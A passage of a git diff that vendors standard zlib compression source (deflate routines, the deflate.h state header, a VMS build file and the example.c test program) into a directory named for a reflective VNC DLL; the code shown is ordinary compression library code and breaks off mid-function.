+ } + + /* Find the longest match, discarding those <= prev_length. + * At this point we have always match_length < MIN_MATCH + */ + if (hash_head != NIL && s->strstart - hash_head <= MAX_DIST(s)) { + /* To simplify the code, we prevent matches with the string + * of window index 0 (in particular we have to avoid a match + * of the string with itself at the start of the input file). + */ + if (s->strategy != Z_HUFFMAN_ONLY) { + s->match_length = longest_match (s, hash_head); + } + /* longest_match() sets match_start */ + } + if (s->match_length >= MIN_MATCH) { + check_match(s, s->strstart, s->match_start, s->match_length); + + _tr_tally_dist(s, s->strstart - s->match_start, + s->match_length - MIN_MATCH, bflush); + + s->lookahead -= s->match_length; + + /* Insert new strings in the hash table only if the match length + * is not too large. This saves time but degrades compression. + */ +#ifndef FASTEST + if (s->match_length <= s->max_insert_length && + s->lookahead >= MIN_MATCH) { + s->match_length--; /* string at strstart already in hash table */ + do { + s->strstart++; + INSERT_STRING(s, s->strstart, hash_head); + /* strstart never exceeds WSIZE-MAX_MATCH, so there are + * always MIN_MATCH bytes ahead. + */ + } while (--s->match_length != 0); + s->strstart++; + } else +#endif + { + s->strstart += s->match_length; + s->match_length = 0; + s->ins_h = s->window[s->strstart]; + UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); +#if MIN_MATCH != 3 + Call UPDATE_HASH() MIN_MATCH-3 more times +#endif + /* If lookahead < MIN_MATCH, ins_h is garbage, but it does not + * matter since it will be recomputed at next deflate call. + */ + } + } else { + /* No match, output a literal byte */ + Tracevv((stderr,"%c", s->window[s->strstart])); + _tr_tally_lit (s, s->window[s->strstart], bflush); + s->lookahead--; + s->strstart++; + } + if (bflush) FLUSH_BLOCK(s, 0); + } + FLUSH_BLOCK(s, flush == Z_FINISH); + return flush == Z_FINISH ? finish_done : block_done; +} + +/* =========================================================================== + * Same as above, but achieves better compression. We use a lazy + * evaluation for matches: a match is finally adopted only if there is + * no better match at the next window position. + */ +local block_state deflate_slow(s, flush) + deflate_state *s; + int flush; +{ + IPos hash_head = NIL; /* head of hash chain */ + int bflush; /* set if current block must be flushed */ + + /* Process the input block. */ + for (;;) { + /* Make sure that we always have enough lookahead, except + * at the end of the input file. We need MAX_MATCH bytes + * for the next match, plus MIN_MATCH bytes to insert the + * string following the next match. + */ + if (s->lookahead < MIN_LOOKAHEAD) { + fill_window(s); + if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { + return need_more; + } + if (s->lookahead == 0) break; /* flush the current block */ + } + + /* Insert the string window[strstart .. strstart+2] in the + * dictionary, and set hash_head to the head of the hash chain: + */ + if (s->lookahead >= MIN_MATCH) { + INSERT_STRING(s, s->strstart, hash_head); + } + + /* Find the longest match, discarding those <= prev_length. + */ + s->prev_length = s->match_length, s->prev_match = s->match_start; + s->match_length = MIN_MATCH-1; + + if (hash_head != NIL && s->prev_length < s->max_lazy_match && + s->strstart - hash_head <= MAX_DIST(s)) { + /* To simplify the code, we prevent matches with the string + * of window index 0 (in particular we have to avoid a match + * of the string with itself at the start of the input file). + */ + if (s->strategy != Z_HUFFMAN_ONLY) { + s->match_length = longest_match (s, hash_head); + } + /* longest_match() sets match_start */ + + if (s->match_length <= 5 && (s->strategy == Z_FILTERED || + (s->match_length == MIN_MATCH && + s->strstart - s->match_start > TOO_FAR))) { + + /* If prev_match is also MIN_MATCH, match_start is garbage + * but we will ignore the current match anyway. + */ + s->match_length = MIN_MATCH-1; + } + } + /* If there was a match at the previous step and the current + * match is not better, output the previous match: + */ + if (s->prev_length >= MIN_MATCH && s->match_length <= s->prev_length) { + uInt max_insert = s->strstart + s->lookahead - MIN_MATCH; + /* Do not insert strings in hash table beyond this. */ + + check_match(s, s->strstart-1, s->prev_match, s->prev_length); + + _tr_tally_dist(s, s->strstart -1 - s->prev_match, + s->prev_length - MIN_MATCH, bflush); + + /* Insert in hash table all strings up to the end of the match. + * strstart-1 and strstart are already inserted. If there is not + * enough lookahead, the last two strings are not inserted in + * the hash table. + */ + s->lookahead -= s->prev_length-1; + s->prev_length -= 2; + do { + if (++s->strstart <= max_insert) { + INSERT_STRING(s, s->strstart, hash_head); + } + } while (--s->prev_length != 0); + s->match_available = 0; + s->match_length = MIN_MATCH-1; + s->strstart++; + + if (bflush) FLUSH_BLOCK(s, 0); + + } else if (s->match_available) { + /* If there was no match at the previous position, output a + * single literal. If there was a match but the current match + * is longer, truncate the previous match to a single literal. + */ + Tracevv((stderr,"%c", s->window[s->strstart-1])); + _tr_tally_lit(s, s->window[s->strstart-1], bflush); + if (bflush) { + FLUSH_BLOCK_ONLY(s, 0); + } + s->strstart++; + s->lookahead--; + if (s->strm->avail_out == 0) return need_more; + } else { + /* There is no previous match to compare with, wait for + * the next step to decide. + */ + s->match_available = 1; + s->strstart++; + s->lookahead--; + } + } + Assert (flush != Z_NO_FLUSH, "no flush?"); + if (s->match_available) { + Tracevv((stderr,"%c", s->window[s->strstart-1])); + _tr_tally_lit(s, s->window[s->strstart-1], bflush); + s->match_available = 0; + } + FLUSH_BLOCK(s, flush == Z_FINISH); + return flush == Z_FINISH ? finish_done : block_done; +} diff --git a/external/source/reflective_vncdll/zlib/deflate.h b/external/source/reflective_vncdll/zlib/deflate.h new file mode 100644 index 0000000000..00c66a4263 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/deflate.h @@ -0,0 +1,318 @@ +/* deflate.h -- internal compression state + * Copyright (C) 1995-2002 Jean-loup Gailly + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +/* @(#) $Id: deflate.h 3351 2006-01-08 23:25:19Z mmiller $ */ + +#ifndef _DEFLATE_H +#define _DEFLATE_H + +#include "zutil.h" + +/* =========================================================================== + * Internal compression state. + */ + +#define LENGTH_CODES 29 +/* number of length codes, not counting the special END_BLOCK code */ + +#define LITERALS 256 +/* number of literal bytes 0..255 */ + +#define L_CODES (LITERALS+1+LENGTH_CODES) +/* number of Literal or Length codes, including the END_BLOCK code */ + +#define D_CODES 30 +/* number of distance codes */ + +#define BL_CODES 19 +/* number of codes used to transfer the bit lengths */ + +#define HEAP_SIZE (2*L_CODES+1) +/* maximum heap size */ + +#define MAX_BITS 15 +/* All codes must not exceed MAX_BITS bits */ + +#define INIT_STATE 42 +#define BUSY_STATE 113 +#define FINISH_STATE 666 +/* Stream status */ + + +/* Data structure describing a single value and its code string. */ +typedef struct ct_data_s { + union { + ush freq; /* frequency count */ + ush code; /* bit string */ + } fc; + union { + ush dad; /* father node in Huffman tree */ + ush len; /* length of bit string */ + } dl; +} FAR ct_data; + +#define Freq fc.freq +#define Code fc.code +#define Dad dl.dad +#define Len dl.len + +typedef struct static_tree_desc_s static_tree_desc; + +typedef struct tree_desc_s { + ct_data *dyn_tree; /* the dynamic tree */ + int max_code; /* largest code with non zero frequency */ + static_tree_desc *stat_desc; /* the corresponding static tree */ +} FAR tree_desc; + +typedef ush Pos; +typedef Pos FAR Posf; +typedef unsigned IPos; + +/* A Pos is an index in the character window. We use short instead of int to + * save space in the various tables. IPos is used only for parameter passing. + */ + +typedef struct internal_state { + z_streamp strm; /* pointer back to this zlib stream */ + int status; /* as the name implies */ + Bytef *pending_buf; /* output still pending */ + ulg pending_buf_size; /* size of pending_buf */ + Bytef *pending_out; /* next pending byte to output to the stream */ + int pending; /* nb of bytes in the pending buffer */ + int noheader; /* suppress zlib header and adler32 */ + Byte data_type; /* UNKNOWN, BINARY or ASCII */ + Byte method; /* STORED (for zip only) or DEFLATED */ + int last_flush; /* value of flush param for previous deflate call */ + + /* used by deflate.c: */ + + uInt w_size; /* LZ77 window size (32K by default) */ + uInt w_bits; /* log2(w_size) (8..16) */ + uInt w_mask; /* w_size - 1 */ + + Bytef *window; + /* Sliding window. Input bytes are read into the second half of the window, + * and move to the first half later to keep a dictionary of at least wSize + * bytes. With this organization, matches are limited to a distance of + * wSize-MAX_MATCH bytes, but this ensures that IO is always + * performed with a length multiple of the block size. Also, it limits + * the window size to 64K, which is quite useful on MSDOS. + * To do: use the user input buffer as sliding window. + */ + + ulg window_size; + /* Actual size of window: 2*wSize, except when the user input buffer + * is directly used as sliding window. + */ + + Posf *prev; + /* Link to older string with same hash index. To limit the size of this + * array to 64K, this link is maintained only for the last 32K strings. + * An index in this array is thus a window index modulo 32K. + */ + + Posf *head; /* Heads of the hash chains or NIL. */ + + uInt ins_h; /* hash index of string to be inserted */ + uInt hash_size; /* number of elements in hash table */ + uInt hash_bits; /* log2(hash_size) */ + uInt hash_mask; /* hash_size-1 */ + + uInt hash_shift; + /* Number of bits by which ins_h must be shifted at each input + * step. It must be such that after MIN_MATCH steps, the oldest + * byte no longer takes part in the hash key, that is: + * hash_shift * MIN_MATCH >= hash_bits + */ + + long block_start; + /* Window position at the beginning of the current output block. Gets + * negative when the window is moved backwards. + */ + + uInt match_length; /* length of best match */ + IPos prev_match; /* previous match */ + int match_available; /* set if previous match exists */ + uInt strstart; /* start of string to insert */ + uInt match_start; /* start of matching string */ + uInt lookahead; /* number of valid bytes ahead in window */ + + uInt prev_length; + /* Length of the best match at previous step. Matches not greater than this + * are discarded. This is used in the lazy match evaluation. + */ + + uInt max_chain_length; + /* To speed up deflation, hash chains are never searched beyond this + * length. A higher limit improves compression ratio but degrades the + * speed. + */ + + uInt max_lazy_match; + /* Attempt to find a better match only when the current match is strictly + * smaller than this value. This mechanism is used only for compression + * levels >= 4. + */ +# define max_insert_length max_lazy_match + /* Insert new strings in the hash table only if the match length is not + * greater than this length. This saves time but degrades compression. + * max_insert_length is used only for compression levels <= 3. + */ + + int level; /* compression level (1..9) */ + int strategy; /* favor or force Huffman coding*/ + + uInt good_match; + /* Use a faster search when the previous match is longer than this */ + + int nice_match; /* Stop searching when current match exceeds this */ + + /* used by trees.c: */ + /* Didn't use ct_data typedef below to supress compiler warning */ + struct ct_data_s dyn_ltree[HEAP_SIZE]; /* literal and length tree */ + struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */ + struct ct_data_s bl_tree[2*BL_CODES+1]; /* Huffman tree for bit lengths */ + + struct tree_desc_s l_desc; /* desc. for literal tree */ + struct tree_desc_s d_desc; /* desc. for distance tree */ + struct tree_desc_s bl_desc; /* desc. for bit length tree */ + + ush bl_count[MAX_BITS+1]; + /* number of codes at each bit length for an optimal tree */ + + int heap[2*L_CODES+1]; /* heap used to build the Huffman trees */ + int heap_len; /* number of elements in the heap */ + int heap_max; /* element of largest frequency */ + /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used. + * The same heap array is used to build all trees. + */ + + uch depth[2*L_CODES+1]; + /* Depth of each subtree used as tie breaker for trees of equal frequency + */ + + uchf *l_buf; /* buffer for literals or lengths */ + + uInt lit_bufsize; + /* Size of match buffer for literals/lengths. There are 4 reasons for + * limiting lit_bufsize to 64K: + * - frequencies can be kept in 16 bit counters + * - if compression is not successful for the first block, all input + * data is still in the window so we can still emit a stored block even + * when input comes from standard input. (This can also be done for + * all blocks if lit_bufsize is not greater than 32K.) + * - if compression is not successful for a file smaller than 64K, we can + * even emit a stored file instead of a stored block (saving 5 bytes). + * This is applicable only for zip (not gzip or zlib). + * - creating new Huffman trees less frequently may not provide fast + * adaptation to changes in the input data statistics. (Take for + * example a binary file with poorly compressible code followed by + * a highly compressible string table.) Smaller buffer sizes give + * fast adaptation but have of course the overhead of transmitting + * trees more frequently. + * - I can't count above 4 + */ + + uInt last_lit; /* running index in l_buf */ + + ushf *d_buf; + /* Buffer for distances. To simplify the code, d_buf and l_buf have + * the same number of elements. To use different lengths, an extra flag + * array would be necessary. + */ + + ulg opt_len; /* bit length of current block with optimal trees */ + ulg static_len; /* bit length of current block with static trees */ + uInt matches; /* number of string matches in current block */ + int last_eob_len; /* bit length of EOB code for last block */ + +#ifdef DEBUG + ulg compressed_len; /* total bit length of compressed file mod 2^32 */ + ulg bits_sent; /* bit length of compressed data sent mod 2^32 */ +#endif + + ush bi_buf; + /* Output buffer. bits are inserted starting at the bottom (least + * significant bits). + */ + int bi_valid; + /* Number of valid bits in bi_buf. All bits above the last valid bit + * are always zero. + */ + +} FAR deflate_state; + +/* Output a byte on the stream. + * IN assertion: there is enough room in pending_buf. + */ +#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);} + + +#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) +/* Minimum amount of lookahead, except at the end of the input file. + * See deflate.c for comments about the MIN_MATCH+1. + */ + +#define MAX_DIST(s) ((s)->w_size-MIN_LOOKAHEAD) +/* In order to simplify the code, particularly on 16 bit machines, match + * distances are limited to MAX_DIST instead of WSIZE. + */ + + /* in trees.c */ +void _tr_init OF((deflate_state *s)); +int _tr_tally OF((deflate_state *s, unsigned dist, unsigned lc)); +void _tr_flush_block OF((deflate_state *s, charf *buf, ulg stored_len, + int eof)); +void _tr_align OF((deflate_state *s)); +void _tr_stored_block OF((deflate_state *s, charf *buf, ulg stored_len, + int eof)); + +#define d_code(dist) \ + ((dist) < 256 ? _dist_code[dist] : _dist_code[256+((dist)>>7)]) +/* Mapping from a distance to a distance code. dist is the distance - 1 and + * must not have side effects. _dist_code[256] and _dist_code[257] are never + * used. + */ + +#ifndef DEBUG +/* Inline versions of _tr_tally for speed: */ + +#if defined(GEN_TREES_H) || !defined(STDC) + extern uch _length_code[]; + extern uch _dist_code[]; +#else + extern const uch _length_code[]; + extern const uch _dist_code[]; +#endif + +# define _tr_tally_lit(s, c, flush) \ + { uch cc = (c); \ + s->d_buf[s->last_lit] = 0; \ + s->l_buf[s->last_lit++] = cc; \ + s->dyn_ltree[cc].Freq++; \ + flush = (s->last_lit == s->lit_bufsize-1); \ + } +# define _tr_tally_dist(s, distance, length, flush) \ + { uch len = (length); \ + ush dist = (distance); \ + s->d_buf[s->last_lit] = dist; \ + s->l_buf[s->last_lit++] = len; \ + dist--; \ + s->dyn_ltree[_length_code[len]+LITERALS+1].Freq++; \ + s->dyn_dtree[d_code(dist)].Freq++; \ + flush = (s->last_lit == s->lit_bufsize-1); \ + } +#else +# define _tr_tally_lit(s, c, flush) flush = _tr_tally(s, 0, c) +# define _tr_tally_dist(s, distance, length, flush) \ + flush = _tr_tally(s, distance, length) +#endif + +#endif diff --git a/external/source/reflective_vncdll/zlib/descrip.mms b/external/source/reflective_vncdll/zlib/descrip.mms new file mode 100644 index 0000000000..d06e0c7e9f --- /dev/null +++ b/external/source/reflective_vncdll/zlib/descrip.mms @@ -0,0 +1,48 @@ +# descrip.mms: MMS description file for building zlib on VMS +# written by Martin P.J. Zinser + +cc_defs = +c_deb = + +.ifdef __DECC__ +pref = /prefix=all +.endif + +OBJS = adler32.obj, compress.obj, crc32.obj, gzio.obj, uncompr.obj,\ + deflate.obj, trees.obj, zutil.obj, inflate.obj, infblock.obj,\ + inftrees.obj, infcodes.obj, infutil.obj, inffast.obj + +CFLAGS= $(C_DEB) $(CC_DEFS) $(PREF) + +all : example.exe minigzip.exe + @ write sys$output " Example applications available" +libz.olb : libz.olb($(OBJS)) + @ write sys$output " libz available" + +example.exe : example.obj libz.olb + link example,libz.olb/lib + +minigzip.exe : minigzip.obj libz.olb + link minigzip,libz.olb/lib,x11vms:xvmsutils.olb/lib + +clean : + delete *.obj;*,libz.olb;* + + +# Other dependencies. +adler32.obj : zutil.h zlib.h zconf.h +compress.obj : zlib.h zconf.h +crc32.obj : zutil.h zlib.h zconf.h +deflate.obj : deflate.h zutil.h zlib.h zconf.h +example.obj : zlib.h zconf.h +gzio.obj : zutil.h zlib.h zconf.h +infblock.obj : zutil.h zlib.h zconf.h infblock.h inftrees.h infcodes.h infutil.h +infcodes.obj : zutil.h zlib.h zconf.h inftrees.h infutil.h infcodes.h inffast.h +inffast.obj : zutil.h zlib.h zconf.h inftrees.h infutil.h inffast.h +inflate.obj : zutil.h zlib.h zconf.h infblock.h +inftrees.obj : zutil.h zlib.h zconf.h inftrees.h +infutil.obj : zutil.h zlib.h zconf.h inftrees.h infutil.h +minigzip.obj : zlib.h zconf.h +trees.obj : deflate.h zutil.h zlib.h zconf.h +uncompr.obj : zlib.h zconf.h +zutil.obj : zutil.h zlib.h zconf.h diff --git a/external/source/reflective_vncdll/zlib/example.c b/external/source/reflective_vncdll/zlib/example.c new file mode 100644 index 0000000000..f97a3d8d40 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/example.c @@ -0,0 +1,556 @@ +/* example.c -- usage example of the zlib compression library + * Copyright (C) 1995-2002 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* @(#) $Id: example.c 3351 2006-01-08 23:25:19Z mmiller $ */ + +#include +#include "zlib.h" + +#ifdef STDC +# include +# include +#else + extern void exit OF((int)); +#endif + +#if defined(VMS) || defined(RISCOS) +# define TESTFILE "foo-gz" +#else +# define TESTFILE "foo.gz" +#endif + +#define CHECK_ERR(err, msg) { \ + if (err != Z_OK) { \ + fprintf(stderr, "%s error: %d\n", msg, err); \ + exit(1); \ + } \ +} + +const char hello[] = "hello, hello!"; +/* "hello world" would be more standard, but the repeated "hello" + * stresses the compression code better, sorry... + */ + +const char dictionary[] = "hello"; +uLong dictId; /* Adler32 value of the dictionary */ + +void test_compress OF((Byte *compr, uLong comprLen, + Byte *uncompr, uLong uncomprLen)); +void test_gzio OF((const char *out, const char *in, + Byte *uncompr, int uncomprLen)); +void test_deflate OF((Byte *compr, uLong comprLen)); +void test_inflate OF((Byte *compr, uLong comprLen, + Byte *uncompr, uLong uncomprLen)); +void test_large_deflate OF((Byte *compr, uLong comprLen, + Byte *uncompr, uLong uncomprLen)); +void test_large_inflate OF((Byte *compr, uLong comprLen, + Byte *uncompr, uLong uncomprLen)); +void test_flush OF((Byte *compr, uLong *comprLen)); +void test_sync OF((Byte *compr, uLong comprLen, + Byte *uncompr, uLong uncomprLen)); +void test_dict_deflate OF((Byte *compr, uLong comprLen)); +void test_dict_inflate OF((Byte *compr, uLong comprLen, + Byte *uncompr, uLong uncomprLen)); +int main OF((int argc, char *argv[])); + +/* =========================================================================== + * Test compress() and uncompress() + */ +void test_compress(compr, comprLen, uncompr, uncomprLen) + Byte *compr, *uncompr; + uLong comprLen, uncomprLen; +{ + int err; + uLong len = strlen(hello)+1; + + err = compress(compr, &comprLen, (const Bytef*)hello, len); + CHECK_ERR(err, "compress"); + + strcpy((char*)uncompr, "garbage"); + + err = uncompress(uncompr, &uncomprLen, compr, comprLen); + CHECK_ERR(err, "uncompress"); + + if (strcmp((char*)uncompr, hello)) { + fprintf(stderr, "bad uncompress\n"); + exit(1); + } else { + printf("uncompress(): %s\n", (char *)uncompr); + } +} + +/* =========================================================================== + * Test read/write of .gz files + */ +void test_gzio(out, in, uncompr, uncomprLen) + const char *out; /* compressed output file */ + const char *in; /* compressed input file */ + Byte *uncompr; + int uncomprLen; +{ + int err; + int len = strlen(hello)+1; + gzFile file; + z_off_t pos; + + file = gzopen(out, "wb"); + if (file == NULL) { + fprintf(stderr, "gzopen error\n"); + exit(1); + } + gzputc(file, 'h'); + if (gzputs(file, "ello") != 4) { + fprintf(stderr, "gzputs err: %s\n", gzerror(file, &err)); + exit(1); + } + if (gzprintf(file, ", %s!", "hello") != 8) { + fprintf(stderr, "gzprintf err: %s\n", gzerror(file, &err)); + exit(1); + } + gzseek(file, 1L, SEEK_CUR); /* add one zero byte */ + gzclose(file); + + file = gzopen(in, "rb"); + if (file == NULL) { + fprintf(stderr, "gzopen error\n"); + } + strcpy((char*)uncompr, "garbage"); + + uncomprLen = gzread(file, uncompr, (unsigned)uncomprLen); + if (uncomprLen != len) { + fprintf(stderr, "gzread err: %s\n", gzerror(file, &err)); + exit(1); + } + if (strcmp((char*)uncompr, hello)) { + fprintf(stderr, "bad gzread: %s\n", (char*)uncompr); + exit(1); + } else { + printf("gzread(): %s\n", (char *)uncompr); + } + + pos = gzseek(file, -8L, SEEK_CUR); + if (pos != 6 || gztell(file) != pos) { + fprintf(stderr, "gzseek error, pos=%ld, gztell=%ld\n", + (long)pos, (long)gztell(file)); + exit(1); + } + + if (gzgetc(file) != ' ') { + fprintf(stderr, "gzgetc error\n"); + exit(1); + } + + gzgets(file, (char*)uncompr, uncomprLen); + uncomprLen = strlen((char*)uncompr); + if (uncomprLen != 6) { /* "hello!" */ + fprintf(stderr, "gzgets err after gzseek: %s\n", gzerror(file, &err)); + exit(1); + } + if (strcmp((char*)uncompr, hello+7)) { + fprintf(stderr, "bad gzgets after gzseek\n"); + exit(1); + } else { + printf("gzgets() after gzseek: %s\n", (char *)uncompr); + } + + gzclose(file); +} + +/* =========================================================================== + * Test deflate() with small buffers + */ +void test_deflate(compr, comprLen) + Byte *compr; + uLong comprLen; +{ + z_stream c_stream; /* compression stream */ + int err; + int len = strlen(hello)+1; + + c_stream.zalloc = (alloc_func)0; + c_stream.zfree = (free_func)0; + c_stream.opaque = (voidpf)0; + + err = deflateInit(&c_stream, Z_DEFAULT_COMPRESSION); + CHECK_ERR(err, "deflateInit"); + + c_stream.next_in = (Bytef*)hello; + c_stream.next_out = compr; + + while (c_stream.total_in != (uLong)len && c_stream.total_out < comprLen) { + c_stream.avail_in = c_stream.avail_out = 1; /* force small buffers */ + err = deflate(&c_stream, Z_NO_FLUSH); + CHECK_ERR(err, "deflate"); + } + /* Finish the stream, still forcing small buffers: */ + for (;;) { + c_stream.avail_out = 1; + err = deflate(&c_stream, Z_FINISH); + if (err == Z_STREAM_END) break; + CHECK_ERR(err, "deflate"); + } + + err = deflateEnd(&c_stream); + CHECK_ERR(err, "deflateEnd"); +} + +/* =========================================================================== + * Test inflate() with small buffers + */ +void test_inflate(compr, comprLen, uncompr, uncomprLen) + Byte *compr, *uncompr; + uLong comprLen, uncomprLen; +{ + int err; + z_stream d_stream; /* decompression stream */ + + strcpy((char*)uncompr, "garbage"); + + d_stream.zalloc = (alloc_func)0; + d_stream.zfree = (free_func)0; + d_stream.opaque = (voidpf)0; + + d_stream.next_in = compr; + d_stream.avail_in = 0; + d_stream.next_out = uncompr; + + err = inflateInit(&d_stream); + CHECK_ERR(err, "inflateInit"); + + while (d_stream.total_out < uncomprLen && d_stream.total_in < comprLen) { + d_stream.avail_in = d_stream.avail_out = 1; /* force small buffers */ + err = inflate(&d_stream, Z_NO_FLUSH); + if (err == Z_STREAM_END) break; + CHECK_ERR(err, "inflate"); + } + + err = inflateEnd(&d_stream); + CHECK_ERR(err, "inflateEnd"); + + if (strcmp((char*)uncompr, hello)) { + fprintf(stderr, "bad inflate\n"); + exit(1); + } else { + printf("inflate(): %s\n", (char *)uncompr); + } +} + +/* =========================================================================== + * Test deflate() with large buffers and dynamic change of compression level + */ +void test_large_deflate(compr, comprLen, uncompr, uncomprLen) + Byte *compr, *uncompr; + uLong comprLen, uncomprLen; +{ + z_stream c_stream; /* compression stream */ + int err; + + c_stream.zalloc = (alloc_func)0; + c_stream.zfree = (free_func)0; + c_stream.opaque = (voidpf)0; + + err = deflateInit(&c_stream, Z_BEST_SPEED); + CHECK_ERR(err, "deflateInit"); + + c_stream.next_out = compr; + c_stream.avail_out = (uInt)comprLen; + + /* At this point, uncompr is still mostly zeroes, so it should compress + * very well: + */ + c_stream.next_in = uncompr; + c_stream.avail_in = (uInt)uncomprLen; + err = deflate(&c_stream, Z_NO_FLUSH); + CHECK_ERR(err, "deflate"); + if (c_stream.avail_in != 0) { + fprintf(stderr, "deflate not greedy\n"); + exit(1); + } + + /* Feed in already compressed data and switch to no compression: */ + deflateParams(&c_stream, Z_NO_COMPRESSION, Z_DEFAULT_STRATEGY); + c_stream.next_in = compr; + c_stream.avail_in = (uInt)comprLen/2; + err = deflate(&c_stream, Z_NO_FLUSH); + CHECK_ERR(err, "deflate"); + + /* Switch back to compressing mode: */ + deflateParams(&c_stream, Z_BEST_COMPRESSION, Z_FILTERED); + c_stream.next_in = uncompr; + c_stream.avail_in = (uInt)uncomprLen; + err = deflate(&c_stream, Z_NO_FLUSH); + CHECK_ERR(err, "deflate"); + + err = deflate(&c_stream, Z_FINISH); + if (err != Z_STREAM_END) { + fprintf(stderr, "deflate should report Z_STREAM_END\n"); + exit(1); + } + err = deflateEnd(&c_stream); + CHECK_ERR(err, "deflateEnd"); +} + +/* =========================================================================== + * Test inflate() with large buffers + */ +void test_large_inflate(compr, comprLen, uncompr, uncomprLen) + Byte *compr, *uncompr; + uLong comprLen, uncomprLen; +{ + int err; + z_stream d_stream; /* decompression stream */ + + strcpy((char*)uncompr, "garbage"); + + d_stream.zalloc = (alloc_func)0; + d_stream.zfree = (free_func)0; + d_stream.opaque = (voidpf)0; + + d_stream.next_in = compr; + d_stream.avail_in = (uInt)comprLen; + + err = inflateInit(&d_stream); + CHECK_ERR(err, "inflateInit"); + + for (;;) { + d_stream.next_out = uncompr; /* discard the output */ + d_stream.avail_out = (uInt)uncomprLen; + err = inflate(&d_stream, Z_NO_FLUSH); + if (err == Z_STREAM_END) break; + CHECK_ERR(err, "large inflate"); + } + + err = inflateEnd(&d_stream); + CHECK_ERR(err, "inflateEnd"); + + if (d_stream.total_out != 2*uncomprLen + comprLen/2) { + fprintf(stderr, "bad large inflate: %ld\n", d_stream.total_out); + exit(1); + } else { + printf("large_inflate(): OK\n"); + } +} + +/* =========================================================================== + * Test deflate() with full flush + */ +void test_flush(compr, comprLen) + Byte *compr; + uLong *comprLen; +{ + z_stream c_stream; /* compression stream */ + int err; + int len = strlen(hello)+1; + + c_stream.zalloc = (alloc_func)0; + c_stream.zfree = (free_func)0; + c_stream.opaque = (voidpf)0; + + err = deflateInit(&c_stream, Z_DEFAULT_COMPRESSION); + CHECK_ERR(err, "deflateInit"); + + c_stream.next_in = (Bytef*)hello; + c_stream.next_out = compr; + c_stream.avail_in = 3; + c_stream.avail_out = (uInt)*comprLen; + err = deflate(&c_stream, Z_FULL_FLUSH); + CHECK_ERR(err, "deflate"); + + compr[3]++; /* force an error in first compressed block */ + c_stream.avail_in = len - 3; + + err = deflate(&c_stream, Z_FINISH); + if (err != Z_STREAM_END) { + CHECK_ERR(err, "deflate"); + } + err = deflateEnd(&c_stream); + CHECK_ERR(err, "deflateEnd"); + + *comprLen = c_stream.total_out; +} + +/* =========================================================================== + * Test inflateSync() + */ +void test_sync(compr, comprLen, uncompr, uncomprLen) + Byte *compr, *uncompr; + uLong comprLen, uncomprLen; +{ + int err; + z_stream d_stream; /* decompression stream */ + + strcpy((char*)uncompr, "garbage"); + + d_stream.zalloc = (alloc_func)0; + d_stream.zfree = (free_func)0; + d_stream.opaque = (voidpf)0; + + d_stream.next_in = compr; + d_stream.avail_in = 2; /* just read the zlib header */ + + err = inflateInit(&d_stream); + CHECK_ERR(err, "inflateInit"); + + d_stream.next_out = uncompr; + d_stream.avail_out = (uInt)uncomprLen; + + inflate(&d_stream, Z_NO_FLUSH); + CHECK_ERR(err, "inflate"); + + d_stream.avail_in = (uInt)comprLen-2; /* read all compressed data */ + err = inflateSync(&d_stream); /* but skip the damaged part */ + CHECK_ERR(err, "inflateSync"); + + err = inflate(&d_stream, Z_FINISH); + if (err != Z_DATA_ERROR) { + fprintf(stderr, "inflate should report DATA_ERROR\n"); + /* Because of incorrect adler32 */ + exit(1); + } + err = inflateEnd(&d_stream); + CHECK_ERR(err, "inflateEnd"); + + printf("after inflateSync(): hel%s\n", (char *)uncompr); +} + +/* =========================================================================== + * Test deflate() with preset dictionary + */ +void test_dict_deflate(compr, comprLen) + Byte *compr; + uLong comprLen; +{ + z_stream c_stream; /* compression stream */ + int err; + + c_stream.zalloc = (alloc_func)0; + c_stream.zfree = (free_func)0; + c_stream.opaque = (voidpf)0; + + err = deflateInit(&c_stream, Z_BEST_COMPRESSION); + CHECK_ERR(err, "deflateInit"); + + err = deflateSetDictionary(&c_stream, + (const Bytef*)dictionary, sizeof(dictionary)); + CHECK_ERR(err, "deflateSetDictionary"); + + dictId = c_stream.adler; + c_stream.next_out = compr; + c_stream.avail_out = (uInt)comprLen; + + c_stream.next_in = (Bytef*)hello; + c_stream.avail_in = (uInt)strlen(hello)+1; + + err = deflate(&c_stream, Z_FINISH); + if (err != Z_STREAM_END) { + fprintf(stderr, "deflate should report Z_STREAM_END\n"); + exit(1); + } + err = deflateEnd(&c_stream); + CHECK_ERR(err, "deflateEnd"); +} + +/* =========================================================================== + * Test inflate() with a preset dictionary + */ +void test_dict_inflate(compr, comprLen, uncompr, uncomprLen) + Byte *compr, *uncompr; + uLong comprLen, uncomprLen; +{ + int err; + z_stream d_stream; /* decompression stream */ + + strcpy((char*)uncompr, "garbage"); + + d_stream.zalloc = (alloc_func)0; + d_stream.zfree = (free_func)0; + d_stream.opaque = (voidpf)0; + + d_stream.next_in = compr; + d_stream.avail_in = (uInt)comprLen; + + err = inflateInit(&d_stream); + CHECK_ERR(err, "inflateInit"); + + d_stream.next_out = uncompr; + d_stream.avail_out = (uInt)uncomprLen; + + for (;;) { + err = inflate(&d_stream, Z_NO_FLUSH); + if (err == Z_STREAM_END) break; + if (err == Z_NEED_DICT) { + if (d_stream.adler != dictId) { + fprintf(stderr, "unexpected dictionary"); + exit(1); + } + err = inflateSetDictionary(&d_stream, (const Bytef*)dictionary, + sizeof(dictionary)); + } + CHECK_ERR(err, "inflate with dict"); + } + + err = inflateEnd(&d_stream); + CHECK_ERR(err, "inflateEnd"); + + if (strcmp((char*)uncompr, hello)) { + fprintf(stderr, "bad inflate with dict\n"); + exit(1); + } else { + printf("inflate with dictionary: %s\n", (char *)uncompr); + } +} + +/* =========================================================================== + * Usage: example [output.gz [input.gz]] + */ + +int main(argc, argv) + int argc; + char *argv[]; +{ + Byte *compr, *uncompr; + uLong comprLen = 10000*sizeof(int); /* don't overflow on MSDOS */ + uLong uncomprLen = comprLen; + static const char* myVersion = ZLIB_VERSION; + + if 